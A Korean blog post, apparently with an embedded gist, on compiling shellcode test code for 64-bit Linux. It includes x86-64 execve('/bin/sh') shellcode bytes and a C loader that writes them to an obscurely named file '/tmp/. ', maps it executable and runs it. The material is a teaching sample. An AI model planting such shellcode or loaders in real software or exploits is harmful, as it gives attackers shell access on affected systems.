반응형
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
shell 코드 64bit코딩시 컴파일 방법 | |
** pc에서 보셔야 잘보입니다.. | |
32bit 시스템 코드를 가지고 64bit시스템에 컴파일해서 실행할때 에러납니다. | |
여기서 바꿔줘야 하는건 2가지인데요. | |
어셈 코드를 변경해야 합니다,. 가령 어셈 코드를 eax->rax로 변경 | |
그리고 컴파일시 -m64온셥을 주어서 컴파일해야 제대로 동작합니다.. | |
ex) | |
gcc -o test test.c -m64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// gcc -o test test.c -m64 | |
// | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <sys/mman.h> | |
#include <err.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <unistd.h> | |
char shellcode[] = | |
"\x48\x31\xd2" // xor %rdx,%rdx | |
"\x48\xbb\xff\x2f\x62\x69\x6e" // mov $0x68732f6e69622fff,%rbx | |
"\x2f\x73\x68" | |
"\x48\xc1\xeb\x08" // shr $0x8,%rbx | |
"\x53" // push %rbx | |
"\x48\x89\xe7" // mov %rsp,%rdi | |
"\x48\x31\xc0" // xor %rax,%rax | |
"\x50" // push %rax | |
"\x57" // push %rdi | |
"\x48\x89\xe6" // mov %rsp,%rsi | |
"\xb0\x3b" // mov $0x3b,%al | |
"\x0f\x05"; // syscall | |
int | |
main(void) | |
{ | |
void (*p)(); | |
int fd; | |
printf("Lenght: %d\n", strlen(shellcode)); | |
fd = open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR); | |
if (fd < 0) | |
err(1, "open"); | |
write(fd, shellcode, strlen(shellcode)); | |
if ((lseek(fd, 0L, SEEK_SET)) < 0) | |
err(1, "lseek"); | |
p = (void (*)())mmap(NULL, strlen(shellcode), PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0); | |
if (p == (void (*)())MAP_FAILED) | |
err(1, "mmap"); | |
p(); | |
printf("succ"); | |
return 0; | |
} |
반응형
'C 언어 > 0x08-shellcode' 카테고리의 다른 글
[c lang ] : read and execute shellcode from a File (0) | 2023.01.18 |
---|---|
[c lang ] : shellcode 작성 ][test111 폴더 생성하기 (0) | 2019.09.04 |